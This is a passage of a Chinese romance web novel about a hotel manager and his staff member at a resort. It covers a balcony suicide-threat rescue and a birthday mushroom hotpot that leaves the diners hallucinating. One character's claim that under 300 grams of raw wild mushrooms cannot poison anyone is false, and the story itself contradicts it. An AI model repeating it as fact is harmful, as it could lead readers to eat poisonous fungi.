沈清看到别人发给她的那些截图,整个人一脸懵。
她想起自己随口说的“发了要是火了记得给我说”。
这反响,未免也太轰轰烈烈了些......
林牧野正在会议室里听着部门经理汇报针对新年临近的工作准备。他看下面的部门经理们开始拿着手机窃窃私语,也划开了自己的手机屏幕。
终于,面线的某一条延伸进了林牧野的手机。
屏幕上,沈清那张脸看着熟悉又陌生。
林牧野从来没有这样的机会可以毫不顾忌地盯着沈清的脸颊,甚至无意识地,把她的图片放大,仿佛要看出个究竟。
图片里,沈清的目光不知落在哪一个愿望上,带着怅惘。
林牧野的指尖不由自主地抚摸着屏幕上的她。
会议室里嘈杂的人声渐渐安静,大家察觉到了林牧野的跑神。
他抿紧唇,盯着那张照片看了一会儿,直到旁边的福光叔提醒他。
林牧野保存了照片,锁屏继续开会。
-
这种不痛不痒的烦闷感在林牧野心头萦绕了两日,在他去前台按照惯例检查系统里的入住率时,被两位客人的问候声打断。
“林先生!真的是您!”
林牧野抬眼,只见两张熟悉的面孔。他很快从记忆中翻出存档,两人正是上次被他与沈清救下的那对新人。
新郎穿着这次休闲装,新娘气色红润,与当日苍白昏迷的模样判若两人。
林牧野着实有些意外,但内心高兴:“你们怎么在这里?”
“我们是特意来感谢您和沈小姐的!”新娘声音激动,身体几乎要越过柜台,“也是来度蜜月的!多亏了沈小姐的邀请,这个酒店真的很不错!”
新郎也欣喜地看着林牧野:“你是这家酒店的总经理?”
“没错,这位就是徒栖的总经理,林牧野先生。”沈清从门外走来,身边跟着背着相机包的陈明远。
她又看向林牧野:“这位先生看到明远账号上我的照片,发消息联系上了他,说什么也要当面来谢谢我们。我就说我们两个在徒栖工作,欢迎来玩。没想到两位真的来了。”
新郎立刻接话:“是啊林先生!我们在网上看了酒店的照片,这里环境太好了,又安静又美。我们一点也不想去那种景点扎堆的地方。”
“林总,我想着来徒栖住这几天,明远也能趁机练练手,给他们拍一组蜜月旅拍,算是咱们营收项目的一次实践。”说完,沈清将吴明远推到前面,介绍给林牧野,“明远是春梅婶的儿子,你应该听说过。”
沈清继续用公事公办的态度跟林牧野汇报:“而且黎乡文旅新媒体公众号也知道了我们在京州救人的事,想要在周末对您进行一个采访。我把您手机号给他们了,他们会提前联系您。”
林牧野有点不开心,沈清没有第一时间告知他这一切,只是到了现在才说。
但他又怎么会让人看出他的喜怒。况且气氛都烘托到这里了,他没有理由不答应。
林牧野点点头,看向沈清。她正耐心听着新娘说话,唇角带着浅淡的弧度,酒窝若隐若现。
很快,陈明远便进入工作状态,引导着新人在酒店特色的选景处进行拍摄。他起初还有些放不开,但随着调整光线、寻找角度、引导情绪的流程下来,渐渐得心应手。
不少路过的员工也好奇地围在一旁观看,低声议论着:
“明远这孩子,拍起来有模有样的嘛!”
“春梅婶,你儿子可以啊,这技术,当摄影师没问题!
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”
“就是,陈经理,你别老骂他了,孩子有天赋,肯干就行!”
陈春梅一直站在远处,假装无意地看着儿子的举动。听着同事们真心实意的夸奖,反而有点不好意思。
沈清故意不看林牧野,帮着明远给新人选景打辅助。她知道林牧野在看她。
给新人拍完,吴明远目光扫过周围徒栖的员工们,又看到自己母亲躲在人后面,忽然大声提议道:“林总,今天难得有机会,阳光又好,要不......我给大家在酒店门前拍张员工集体照吧?就当留个纪念!”
这个提议立刻得到了大家的积极响应,大家都央求林牧野和全体员工拍一张。
林牧野眼中含着浅笑,点了点头:“好。”
“太好了!”众人欢呼起来,迅速自发地聚拢,排成了三排。
林牧野作为总经理,自然被大家让到了中间位置,沈清也被大家推到了中间。就在沈清被推向林牧野右侧的空位时,她脚步一转,轻轻挽住了身旁陈春梅的胳膊,笑着将她往左带:“春梅婶,站中间。”
陈春梅摆手推辞了几下,却被明远催着赶快站定。于是,最终第二排中间的位置排序便是:沈清、陈春梅,林牧野。
陈明远从取景框里看着大家,调整着最后的参数:“大家看镜头,笑一笑,一起说:徒栖!”
快门按下的那一刻,山间的风恰好温柔拂过。
林牧野目光平视镜头,余光却在努力地捕捉那道倩影。他能看见沈清微微扬起的下巴,还有那因为微笑而露出的洁白的牙齿。
沈清的感知,也有一半萦绕在左侧,她能感觉到那个存在感极强的人,总是让她分心的那个人。
咔嚓。
清脆的快门声,将徒栖每一张真诚笑脸定格。隔着一个人的两头,好似远在天边又近在眼前的两人,有了一张合影。
拍摄完,沈清手机在口袋里突然震动,屏幕上跳动的名字却让沈清嘴角那抹笑意瞬间淡了下去。
她走到人少的角落,调整情绪了几秒,才划开接听。
“喂,妈。”
“清清啊,你在哪儿呢?我在网上看到了你的照片,不像在京州市啊?”
沈清的心沉了一下,那张照片传播得真广:“我出来旅游,不用担心。”
“清清,你之前辞职,妈妈理解你是累了,想换个环境。可这都多久了?总不能一直不上班旅游吧?你读了那么多年书,考了那么多证,不能都白费了啊。”
又来了。
沈清闭了闭眼,继续听:“清清,你王阿姨家的女儿可是海归,找了小半年工作,最后好不容易才考上了事业单位,那可是海龟硕士啊!你不能歇太久,越久越不好找到工作......”
“妈,我这边还有事,先不说了。”沈清打断母亲的话,“不忙了我给我爸打电话。”
沈清仓促地挂了电话。她靠坐在角落的座位上,深深吸了一口气,又缓缓吐出。
不远处,林牧野正站在沈清看不到的地方,凝视着沈清。
她宛如一株刚经历了骤雨摧残的山茶,花瓣因承重而微微低垂,将湿透的蕊心藏起,只待阳光出来,慢慢将水汽蒸干。
16. 第 16 章
滇南文旅宣传部隔天来徒栖做采访,采访的对象是林牧野和沈清,根本的目的是帮本地酒店宣传。
这本是好事,能提升酒店知名度,沈清非常愿意配合采访,但她能想象,若是父母看到推送,看到自己穿着酒店的工装,会是怎样的反应。
沈清左思右想,还是敲响了林牧野办公室的门。得到进入的许可后,她将门顺手带上,隔绝了外面的嘈杂。
沈清双手摩挲着,有些迟疑地开口:“林总,这个采访......我能不能不参加?”她怕林牧野多想,解释道,“我的意思是,您作为酒店代表出面就足够了。我......不太想让我家里人看到。”
林牧野立刻明白了她的顾虑:“理解。但是......”
沈清抬眼看他。
“你陪我去采访,不让你出镜,不写你的真实姓名。如果记者问到具体细节,需要你补充的时候,你简短说两句就好,我会控制方向。”
沈清心中忐忑消散了些许,便答应了同去的要求:“好,谢谢林总。”
徒栖的活动室早已布置好,文旅部的工作人员已经将摄像机架起,调好灯光。沈清选了镜头侧后方一个不起眼的位置坐下,面前摊开笔记本,对重要内容做记录。
采访很顺利,林牧野从容地讲述了事发经过,强调了急救知识培训的重要性,话术得体,又懂得将功劳不止归于自己,态度谦和。采访者期间频频点头,显然对他的各种回答很满意。
“林总,作为一家特色酒店的总经理,管理着来自不同背景的员工,在日常工作中,您是否也曾和下属有过意见不合或者摩擦的时候?您认为,应该如何处理好与同事下属的工作关系呢?”
采访内容开始往酒店本体倾斜,林牧野那边没有很快回答,沈清停下握着笔写字的手,抬头看他。
林牧野深邃的眸光,仿佛越过摄影机,落向了侧后方那个安静的身影,这才徐徐开口:“每个人都有自己的思维方式、行事习惯,背后的生活经历和关注点也各不相同。处理这类情况,关键在于尝试去理解对方行为背后的逻辑和顾虑。有时候,沟通中传递的信息,语言本身只是一部分,更重要的是观察对方实际做了什么,为何这样做。”
“作为管理者,或者作为普通人,都可能因为立场、性格或者表达方式的问题,在无意中给他人带来压力或误解。”林牧野的视线有那么一瞬与沈清的目光交汇,“所以,我也在学习和调整。相互理解,彼此体谅,才能走得更远。”
话音落下,采访者露出了笑容:“林总说得真好,非常坦诚,也很有管理智慧。”
采访结束,工作人员收拾设备离开后,留下收拾活动室的两人。
林牧野走到窗边,检查窗户是否关妥,高大的背影挺拔修长。短暂的沉默后,他忽然开口:“你家人又联系你了吗?”
“嗯。”她轻轻应了一声,“还是那些话。”她浅浅地笑了一下,有点无奈和疲惫,“不过这次,好像没那么难受了。”
“我相信你能做得很好。”林牧野向前走了两步,拉近了两人之间的距离,“需要任何帮助,随时可以跟我说。”
-
下午,陈春梅找到正在给退房的房间换床单的沈清,让她去305,说这户客人需要立刻打扫房间。
沈清正准备敲门,发现门已开了一条缝,里面传来追赶的脚步声和孩子的嬉笑声。
“您好,房务部,来打扫房间。”
门缝里探出一张圆嘟嘟的小脸,眼睛又大又亮,两个小揪揪上扎着艾尔莎的头花。紧接着,又有一个一模一样的宝宝探出头,简直是复制粘贴。
沈清蹲下身,欢喜地看着这一对双胞胎姐妹。
门被一位女士打开,房间里的景象让人咋舌:积木散落满地,绘本和蜡笔在茶几上开起了派对,奶粉罐也放在地上,洒出一些奶粉。
开门的女士应该是双胞胎的母亲,毛巾搭在头上,头发还湿着,满脸歉意:“不好意思不好意思,有孩子出来就是麻烦。”
“没关系,我来清理。”沈清将清洁车停好,把抹布等工具拿进房间,一边穿梭在双胞胎的追赶中,一边把东西捡起。
“阿姨,你不要动我们的东西!”不知是姐姐还是妹妹的一个宝宝看沈清在破坏她摆的“城市”,有点不高兴地噘嘴。
“小朋友,你们两个叫什么名字呀?”沈清并不在意宝宝的生气。
但那个小女孩噘着嘴不说话,另一个宝宝看不过去,告诉她:“我是姐姐欢欢,她是妹妹乐乐。”
“欢欢乐乐,要不要帮姐姐一起把玩具送回它们的家?”
乐乐立刻举起手中的艾尔莎娃娃:“可是我已经把这里冰冻起来了!”
“被冻的久了,人们会冻死的,艾尔莎不会让任何一个子民受到伤害的,对不对?”沈清接过她手里的艾尔莎,在空中转了一圈,“你看,冰冻解除了。”
她自然的引导很快吸引了孩子们的注意,两个宝宝竟然真的配合她把大部分东西归了位。
这时,那位女士已经换好衣服,急匆匆抓起包:“小姐,实在不好意思,宝宝的水解奶粉喝完了,我在网上查了,只有古城那家大超市有货,我得赶紧去。能不能麻烦您帮忙照看他们半小时?我尽快回来!”
沈清看着女人焦急的脸,又看看空了的奶粉罐子,只得点了点头:“好的,您去吧,如果需要,前台可以帮你叫车。”
“谢谢,我已经叫了,我会尽快回来的!”女士几乎是跑着离开的,双胞胎见怪不怪,并没有因为妈妈的离开而吵闹。
“阿姨,你有宝宝吗?”欢欢爬上床坐着看她。
沈清手上的动作没停,开始拿抹布擦地桌上的奶渍:“没有哦,所以你们要叫我姐姐!”
“为什么没有?”小孩子的逻辑直白得可爱,“我妈妈都有宝宝。”
沈清收拾完桌面又开始整理床铺,她将枕头拍松,思考着如何回答这个天真的问题:“因为姐姐还没有结婚呀。”
“那你结婚啊!”乐乐理所当然地说。
沈清被逗笑了,波弄了一下她的小揪揪:“可是结婚需要找到另一半呀,姐姐还没找到呢。”
门外,林牧野的身影出现在走廊尽头。他手里拿着一份文件,正准备趁不忙找沈清讨论下营收项目的调整。有员工说看到她来了这间家庭套房,他便找过来,听到了里面传来的对话声。
“什么是另一半?你又不是半个。”欢欢看向乐乐,乐乐歪着
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头,也一幅不懂的样子。
“就是......”沈清想了想,在两个孩子面前坐下,“每个人都是一半的,你这一生必须找到你的另一半,和他在一起的时候,会觉得比一个人更开心。你们会分享好吃的,好玩的,互相照顾。但也要一起面对困难,解决问题。”
林牧野敲了敲门。
“请进。”沈清伸头看去,见是林牧野,有些惊讶,便站了起来。
林牧野走进房间,两个女孩儿立刻被这个高大英俊的男人吸引了注意。
“有点事找你,不过看你很忙的样子,等你不忙了来找我吧。”林牧野扬了扬手中的文件。
“你可以找他当你的另一半呀!”欢欢突然眼前一亮,仿佛自己解决了非常大的难题。
沈清尴尬地看了一眼林牧野,急忙对欢欢说:“不可以乱说哦!这个叔叔是很厉害的领导,是阿姨的工作伙伴。”
“叔叔看姐姐的眼神和爸爸看妈妈的眼神一样哦!”欢欢觉得自己的发现很了不起。
欢欢从床上又蹦下来,背着手走路,边走边说:“爸爸妈妈也是工作伙伴,他们两个工作都很忙。爸爸经常出差,妈妈总是在打电话。”
“他们没时间和我们玩,但是总要管我们,不让我们吃东西,总是让我们上床睡觉。”乐乐看向林牧野,眼中是纯真的困惑,“我想吃冰淇淋,妈妈说会拉肚子;我想晚点睡,爸爸说怕明天起不来。可是冰淇淋很好吃,晚上有星星很好看。”
林牧野蹲下,和两个宝宝平视,缓缓道:
“因为你们就像小树苗,爸爸妈妈要确保你们能茁长成长,怕你们长歪了枝桠,以后不能给小鸟做窝,也不能给人乘凉。”
他顿了顿,声音温和:“也许他们做的不是最好的,但爱你们的心,是能力范围内最好的。”
沈清听了林牧野的话,突然想起了自己的父母。那些以爱为名的管束和焦虑,是否也只是他们能力范围内能为自己做到的一切了?
沈清心头那道被垒砌很高的坎,仿佛在这一刻发生了坍塌。
欢欢撅起嘴:“小树自己能做好,自己能晒太阳,自己能喝水呀!”
林牧野赞同地点点头:“你说得对,好的园丁,应该教小树怎么自己扎根,而不是一直扶着它。”
他看向沈清,两人的目光在空中相遇。
对讲机中有人呼叫总经理去前台。林牧野站起身,对沈清说:“你继续收拾吧,我不打扰你们了。”
林牧野离开后,沈清嘟起嘴吧地对双胞胎说:“这个叔叔总是话外有音,不知道他累不累呢。谁要是当他的另一半,可要小心不要被骂了也听不懂哦!”
-
晚上,欢欢和乐乐临睡前听着妈妈读绘本。
欢欢突然想起什么似的,对正在打哈欠的妈妈说:“妈妈,今天打扫的姐姐说她找不到自己的另一半。”
妈妈没太在意,随口回应:“哦,是吗?”
乐乐也加入话题:“是的,可她的另一半明明就是那个叔叔!她还嘴巴说那个叔叔坏话。”
妈妈睡眼惺忪,给两个宝宝掖了掖被子:“有些人相爱了就是那样,别扭又嘴硬,不愿意承认的。睡吧宝宝们,晚安,谁也不说话啦!”
17. 第 17 章
黎乡春节期间旅游业十分火爆,今年也不会例外。
才一月初,就有很多一线二线城市的订单。有的订单是连续长住,最长能住三个星期。
徒栖会在跨年前进行农历新年前的动员大会,今年恰好赶上了林牧野的阳历生日,徒栖的员工准备开完会后给他过生日。
沈清听卓玛说,往年林牧野的生日都是晚班结束后大家在古城的火锅店聚餐。她们觉得沈清是京州来的肯定见多识广,希望今年的生日会沈清能指导下,给林牧野一点不一样的惊喜。
“对了沈清姐。你知道吗,315住进了一个女客人,特别奇怪。”卓玛抱着换洗床单,蹭到正在前台核对数据的沈清身边,压低声音吐槽。
沈清想了一下,有点印象,是一个喜欢穿吉普赛风长裙的客人,非常大手笔地直接定了两周的房间。
“说具体点,哪里奇怪?”
“她白天不出去,别人都去景点,就她在屋子里,几乎每次进去打扫都见她在那里打电话,用的还是座机。”
“那她在电话里说什么了?”
“这就是诡异的地方!”卓玛凑得更近,“她打电话说是要找一个叫冯天瑞的人,但是对方都基本直接挂断,然后她就再拨。有时候对方接两次就不接了,她就每两三天换一个房间住,再用新的座机继续打。”
沈清不负责315的清扫,但是听卓玛这么一说,也觉得有够令人头疼的。
“反正目前没做什么影响别人的事情。但凡她要搞什么幺蛾子,我们就汇报给林总。”卓玛最后一个床单叠好,拍拍手,站起身,对着手机反光的屏幕检查自己的仪容仪表。
沈清笑眯眯地点破:“你汇报给陈经理就行,我看你跨级汇报其实是想找个机会见林总吧?”
卓玛立马收起手机,扭头努嘴:“沈清姐,你可别开我玩笑了。在徒栖,谁不知道你和林总关系好最般配。”
沈清笑着摇摇头,低头继续叠床单,避开了卓玛的目光。
“说真的沈清姐,你有没有想过跟林总好啊?”卓玛找到了新的八卦对象,凑过来把脸贴近,非要沈清讲清楚给个回答。
沈清一个指头把卓玛的脑袋挪开:“你是不是霸道总裁爱上我的电视剧看坏了脑子,天天想些有的没的。我自己几斤几两还不知道吗?”
卓玛一脸不信。
“而且我刚得到了办公室恋情给的惨痛教训,还是要懂得吃一堑长一智。”
卓玛半信半疑。
沈清看卓玛那一脸坏样,也赶快把手里的最后一个床单叠好,推着卓玛两人就要离开:“走吧,我们去找福光叔问问生日惊喜的灵感。”
京州地邪,黎乡也有点。上午才聊过315的吉普赛女郎下午就给她们了一个“惊吓”。
315房间是个朝山的豪华套房,阳台很长,摆了好看的藤编椅。
这里原本应该是客人拍照出片的好地方,此刻,吉普赛女郎却踩着藤编椅站上了那窄窄的阳台栏杆。
几乎是同时,楼下传来几声惊呼。显然,已经有人看见了站在二楼的身影。
“王小姐?客房服务。”卓玛听说了情况,拿着315的备用门卡,拉上沈清第一时间赶到房间,尝试进入。
里面一个有些沙哑的女声传来:“不用。”
沈清接过话,语气温和:“王小姐,我是酒店的前厅经理沈清。您已经三天没出过房间了,我们很担心您。能开开门,我们聊两句吗?或者您需要什么帮助,我们都可以想办法。”
没有回应。
沈清和卓玛交换了一个不安的眼神。贸然进入有可能使客人情绪恶化,两人只好在门外等院子里的情况伺机而动。
“姑娘,你有什么需求都可以跟我们说,没必要这样。这天挺冷的,你穿的太少了,回去加件衣服吧。”林牧野身为酒店总经理,站在院子里围观人群的最前方,抬头担忧地尽力安抚。
沈清让卓玛听着315里面的动静,自己走到旁边打开对讲机呼叫陈春梅:“陈经理,我们这边听你指挥,你们那边需要了我和卓玛就冲进去。”
“收到,我这边打开对讲,林总正在安抚,你们看准时机,听我们反馈。”
吉普赛女郎还是谁都不理,她连鞋子都不穿,一月的风已经把她的脚吹的通红。
“春梅婶,我记得她电话里总是再找一个叫冯天瑞的人,要不你们在前面问问她,需不需要我们帮她把这个人找来?说不定找来了她就不会干傻事儿了。”卓玛凑到对讲机前,给陈春梅出谋划策。
陈春梅获取到重要信息,尝试沟通:“美女,听说你在找一个叫冯天瑞的人?他在黎乡吗?需要我们帮你找他吗?”
吉普赛女郎果然有了点反应,抬眼看向陈春梅。
春梅婶继续发力:“这三楼说高不高说低不低,你要是被吹下来不会死,但半残是最痛苦的。你说你长这么漂亮,可不能干傻事儿毁了自己后半生啊!”
吉普赛女郎的脚蜷缩了一下,神情虽然迷离,但终于开口:“你们能帮我找到冯天瑞吗?”
“可以啊!你说他的联系方式,我们来找他。”林牧野看到一丝希望,微微松了口气。他早已拨打了119和120,现在只需要拖延时间,保证客人不要出意外。
林牧野要到了冯天瑞的手机号,还知道了姑娘的名字叫王嘉瑶。他走到一旁拨通电话,第一次没人接,第二次,响了七八声,就在快要自动挂断时,终于被接起,一个带着不耐烦的男声传来:“你谁啊?”
“你好,这里是黎乡徒栖度假酒店,你是冯天瑞?”
“找我什么事?”
林牧野的声音从来没有这么严肃过:“王嘉瑶女士你认识吧?现在她在我们酒店为了你要跳楼。如果你在黎乡,希望你尽快来徒栖,以免闹出人命。”
对方显然愣了一下,语气变得闪烁:“她怎么还要搞跳楼这一出?我可真是倒了霉了......”
“我不管你们之间有什么纠葛。”林牧野打断他,侧脸的咬肌紧绷,“现在是一条人命悬在你面前。我们已经报警,消防和急救都在路上。如果她今天出了事,你就是责任人。”
长久的沉默。
终于,冯天瑞不情不愿地说:“地址说一下......”
结束通话,林牧野赶
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紧把这个消息带给王嘉瑶:“王小姐,冯先生已经在来的路上。请你先下来,我们好好说,一定能找到解决办法。生命只有一次,别做傻事。”
“我不信!你们骗我!”王嘉瑶的情绪显然更加激动,“他说死也不会见我的!”
消防车的鸣笛声由远及近,划破了山间的宁静。气垫迅速充起,消防员开始布置现场,疏散楼下围观的客人和员工。所有人都紧张地仰头望着那个阳台上冻得瑟瑟发抖的身影。
时间一分一秒过去,每一秒都像被拉长。沈清在门外举着对讲机,手心全是冷汗。
就在等待的时间几乎要到极点时,一个穿着皮衣、头发挑染、穿着破洞牛仔裤的男人被陈春梅领着,匆匆穿过警戒线,来到楼下。
这人正是冯天瑞。
林牧野将扩音器递给他,狠狠拍了拍他的背:“好好说。让她平安下来。”
冯天瑞抬头看了看阳台上的王嘉瑶,嘴里嘟囔了句“就三楼还跳楼啊?”
他又看到林牧野冰刀一般的目光,皱了皱眉,拿起扩音器,语气勉强放软了些:“嘉瑶,是我。你下来,我们好好谈。”
王嘉瑶远远看到熟悉的身影走进,身体显晃动了一下,惹得下面的人尖叫。
王嘉瑶眼眶发红,声音带着哭腔:“冯天瑞,你肯见我了?”
冯天瑞没回答,表情仍是带着不耐烦。
一组消防员已经悄悄通过沈清和卓玛的帮助,从隔壁房间的阳台,准备实施突击救援。
有感情纠缠的两人隔空对话,事情很快清晰:王嘉瑶,三十一岁,来自广东省,前段时间来滇南旅游,在酒吧听了冯天瑞乐队的演出,陷入狂热。一夜缠绵后,她认真了,想要确定关系,而冯天瑞只想享受露水情缘,直接换了联系方式玩消失。王嘉瑶回去后联系不上男方,班都不上了,专门又回来找人。
阳台上的王嘉瑶经过和冯天瑞一来一往的对话,情绪稍微平复。就在她放松警惕时,隔壁阳台的消防员看准时机,猛地跃过栏杆隔断,将她牢牢抱住,躺倒在了阳台的安全区域。
“成功了!”楼下爆发出松了一口气的欢呼和掌声。
王嘉瑶被消防员和医护人员簇拥着带下楼,裹着毯子,脸上泪痕未干,神情恍惚。在女警和医护人员的陪同下,上了救护车去医院做进一步检查。冯天瑞在警察的陪同下,需要去派出所做个笔录。
一场惊心动魄的危机,总算化解。
酒店员工们围在一起,心有余悸地议论着。林牧野正与警察和消防指挥员做着最后沟通,在傍晚的光线中,林牧野显得有些疲惫。
这时,王嘉瑶挣脱了医护人员的搀扶,又下了救护车,朝着林牧野的方向走来。
大家都好奇地看着她,不知道她要干什么。
“林总......”她的声音还有些哑,“谢谢你,谢谢你救我。”她说着,眼神里充满了感激。
林牧野微微一怔,客气地回答:“这是我们应该做的,王小姐,你没事就好。请先跟医生去医院好好检查。”
王嘉瑶上前一步,拿出手机递给林牧野:“我能留个你的联系方式吗?”
18. 第 18 章
周围的员工们面面相觑,几个懂什么意思的已经忍不住交换眼色。
林牧野看了看皮肤冻的通红的王嘉瑶,手微微动了一下,但终是没有接她递出的手机。
陈春梅见状,怕再刺激到这位情绪刚稳定的客人,连忙上前打圆场。
她接过王嘉瑶手里的手机,又把手机放回她外衣兜里,揽着她的肩膀自然地将她送回救护车上:“王小姐,感谢的话不着急。你看今天大家为了你都忙坏了,林总也忙一天了还没休息。”
王嘉瑶扶着救护车的门把手不丢,陈春梅继续安抚:“这样,明天晚上我们酒店有个小聚会,算是给林总简单庆祝生日,你要是身体好了,也一起来热闹热闹,好不好?”
王嘉瑶的眼睛亮了一下,立刻扭头看向林牧野:“明天是你生日?那我一定要来!”这才松开把着门的手,心满意足地躺在了车里的担架床上。
-
风波平静后,几个员工在厨房后台趁不忙计划着林牧野生日的事儿。
木秀很不情愿地嘟囔:“我们林总的生日会,春梅婶为啥要叫上那个疯女人啊?”
云万宝倒是理解陈春梅:“那种情况下,不这么做,明天又要爬上三楼阳台了。”
木秀像是被提醒了:“我等她回来,赶快给她换到一楼房间去。”
杨福光正在和徒弟们清理厨房台面,听了这话,他给几个人面前放了一小盘番茄:“还是想想怎么能给林总的晚餐弄好吧!你们想吃什么?食材咱们自己买,每个人均摊。”
大家都表示同意。
说话间,沈清进了厨房,木秀招呼她过来,递给她一个番茄:“沈清姐,你觉得我们晚上吃什么好?福光叔亲自下厨,专做你没吃过的。”
“那我可真是沾了林总的光了。”沈清脸红红的,刚把209房间客人弄洒的咖啡用拖把拖了半天,后背微微出汗。
杨福光的徒弟李木甲刷着锅,抬眼看了看沈清,不由地感叹:“沈清姐,你越来越像本地人了,肤色比你刚来时候黑了一个度。”
沈清冲他做了个鬼脸:“就这还没爬玉龙雪山呢,爬完可不得成非洲人。”
木秀嘱咐她:“你要是真的去爬,一定做好防晒。我见过有的客人,以为戴上口罩墨镜就行,结果第二天晒出来了个阴阳脸!”
众人大笑。
“沈清姐,你什么时候去爬玉龙雪山啊?”云万宝笑完问她。
“对啊,你刚来就说要去徒步,这都几个月了,还只是爬爬千狮山。”杨福光也好奇,切菜的动作停下,转头问沈清。
“爬一次玉龙雪山我感觉得要我半条命。等春节过后我放长假了吧,我得提前做好准备呢!”
众人点头表示同意,毕竟,本地人也不是个个都上过玉龙雪山,对大自然保持敬畏,还是谨慎对待比较好。
几人“密谋”了生日的惊喜菜单后,各自散开。
因为今天是周中,入住率不高,沈清提前完成了房间的清扫和布草,大家便托她去集市买点菌菇火锅的食材。
出发之前,杨福光专门交代沈清,食材要好好挑选,小心买的能看见小人的菌子。
黎乡这里的蘑菇和菌子不是一个东西。蘑菇是那种很小的,菌子才是很大一朵可以做火锅的。
东山农贸市场是离徒栖比较近的能买到野生菌子的市场。沈清走路十五分钟就走到了,傍晚的菜市场也好不热闹。
“姑娘,买菌子不?”一个包着头巾的纳西族阿婆招呼她,“今早才从山背下来的,你看这菌脚带的泥巴都还是潮的。”
沈清蹲下仔细挑选。
阿婆一边帮她拣,一边絮絮叮嘱:“这个菌子娇贵,一定要用大量蒜瓣和油,狠狠炒够二十分钟,中间不能尝!煮熟了是神仙美味,煮不熟吗......可是要看见小人国打仗嘞!”
沈清笑着应下,又买了些其他菌和鸡枞做配菜。
沈清看着市场里的小摊,突发奇想:如果徒栖可以加一个带客人体验上山采菌的项目,应该挺有意思。
目前,徒栖本身就有鸡舍,如果再养几只牛羊,开一个小型动物乐园,客人带着孩子参加亲子互动,应该也很受欢迎。
回到徒栖时,厨房里已是一片热火朝天。杨福光大厨系着洁白的围裙,正在把上好的鲜牛肉切片。
木秀抱着一个巨大的蛋糕盒进来,显然很开心:“蛋糕来啦!水果奶油夹心,总经理属虎,我让加了只小老虎的巧克力牌!”
这会儿正是员工白班下班的点儿,卓玛和其他几个不当班的都溜进了后厨,七手八脚帮着洗菌、剥蒜、切肉。
“寿星呢?”有人问。
沈清正在切一个黑色圆头的菌子,刚切完是蛋黄色,几秒钟之内立马变成青绿色。她被这句问话吸引了注意力,竖耳朵听着。
“春梅婶去叫了,菜差不多了应该就来了,赶快去摆桌吧。”杨福光让人把餐厅隔壁的储藏间腾出一块地方,拉来了云南当地特色的火锅桌,中间一个大锅,四周一圈是可以烤东西吃的凹槽。
不多时,厨房门被推开,林牧野被陈春梅半推半请地带了进来,身后还跟着看上去精神好多了的王嘉瑶。
众人看到王嘉瑶,原本准备拍手庆贺的掌声瞬间稀稀拉拉,但还是逐一对林牧野说了生日快乐的祝福。
“你们这阵仗好大啊!”林牧野看着蛋糕和准备的食材,喉结动了动,声音比平时还要柔和:“谢谢大家。”
杨大厨正在炒最后一个菜,火光间对着林牧野说:“沈清买了顶好的菌子,今天让寿星尝尝我老杨许久未露的地道手艺!”
众人移步到饭桌,王嘉瑶立刻上前,坐在了林牧野旁边。
沈清端着最后一道菜走来,看王嘉瑶笑盈盈地从包里拿出一瓶红酒:“林总,生日快乐。这是我特意挑的,感谢你昨天的救命之恩。”
木秀和卓玛挨着坐,两人的手在桌底互相抓着来回拉扯,用这种方式表达着对王嘉瑶的不喜欢。
沈清坐到了和林牧野对面的空位子上,饶有兴致地看着两人的互动。
“王小姐太客气了。今天主要是大家聚聚,酒就随意吧。”
“那怎么行,生日哪有不喝酒的?我敬你一杯,你一定要喝。”王嘉瑶倒了满满两杯,将其中一杯不容分说地塞到林牧野手里,自己先仰头喝完了。
众目睽睽之下,林牧野不好太拂客人面子,只得举杯抿了一口。
王嘉瑶娇嗔着要他喝完,手还抓着林牧野的手,要他举杯。
陈春梅见状,忙打圆场:“王小姐,让林总先吃点菜,空腹喝酒伤胃。杨大哥,菌子汤能喝了不?”
“来喽!”杨大
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厨响亮地应着,一大锅翻滚着浓郁汤汁的菌子火锅被端上中央的电磁炉,另一盘油光锃亮、蒜香扑鼻的爆炒见手青也紧接着上桌。
杨大厨还让徒弟李木甲做了乳扇。乳扇是新鲜牛奶通过煮沸加入酸水揉搓出来的,像固体的酸奶,还有羊奶做的乳饼,切片油炸粘糖吃,或者碾碎同奶渣鸡蛋一起拌糖蒸着吃。
大厨和徒弟把菜摆好,也入座了:“可以了,时间肯定够了,开吃吧!”
云南的菌子火锅饭店一开始是不给碗筷的,以免有人在没煮熟时候先吃中毒。
有人有点担忧安全问题,杨福光拍拍自己胸脯保证:“一顿饭,就算是生的菌子,只要吃的不超过300克,就不会中毒!”
大家这才放心开吃,有的菌子是入口即碎,有的菌子是丝滑耐嚼。一口菌汤喝下肚,更是鲜到天灵盖。
这一桌菜里大家最期待的就是生炒见手青,这种绝味只有黎乡家里的餐桌上才有,一般餐厅怕吃这个中毒,都是提前处理过油过水的。
见手青脆嫩爽滑,确实堪称极品。菌子火锅汤色奶白,各种菌菇在其中沉浮,鲜美得让人舌头都想吞下去。
一顿饭就算是没有肉,光吃菌子都能让人大饱口福到流连忘返。
王嘉瑶仍不时向林牧野敬酒;林牧野大多以茶代酒,偶尔避不过才浅酌,偶尔和沈清对视,也尽显尴尬。
沈清一直不停地吃,每一口菜都要狠狠嚼碎,再使劲咽下。如此鲜美的佳肴也吃的食不知味。
酒过三巡,菜也吃得七七八八。不知是吃得太急,还是气氛使然,沈清觉得头有些晕乎乎的。
她看向旁边的木秀,发现木秀正盯着空中的某一点,伸着手小声嘀咕:“咦,那根蘑菇怎么在天上扭?”
对面的卓玛揉着眼睛:“我怎么觉得这火锅的蒸汽变成了彩色的?”
陈春梅晃了晃脑袋:“这菌子......不会真有毒吧!”
沈清心里咯噔一下,也感觉头晕目眩,抬眼看桌子变成了扭曲的马赛克图案。
这种时候,她第一反应看向林牧野。
只见林牧野单手支着额角,也死死地盯着面前的空气,平日里深邃的眼眸里,此刻蒙着一层迷离的光彩,仿佛看到了什么惊人的美景。
“林总?”坐在他旁边的陈春梅察觉到他的异常,伸手晃了晃林牧野的肩膀。
林牧野目光有些涣散地扫过众人,脚步有些虚浮,却径直朝沈清走来。王嘉瑶想伸手抓他,被他使劲拂开。
他推开挡路的椅子,站起身。
房间里忽然安静下来,所有人都看着他。
他在沈清面前站定,一动不动地凝视着她。
距离很近,沈清能闻到他身上淡淡的酒气。
然后,他开口,声音带着苦恼:
“沈清......”
“嗯?”
“你能不能......”他皱着眉,像是努力组织语言,抬手比划着,“不要变成那么多小人......在我心里蹦哒?”
他指了指自己心口的位置,表情有点委屈:“一个,就已经很吵了,现在有好多好多。有笑着的,有生气的,跳来跳去。”
他晃了晃脑袋,试图看清眼前这个真的沈清:
“吵的我想把你抱住,永远不松开......”
19. 第 19 章
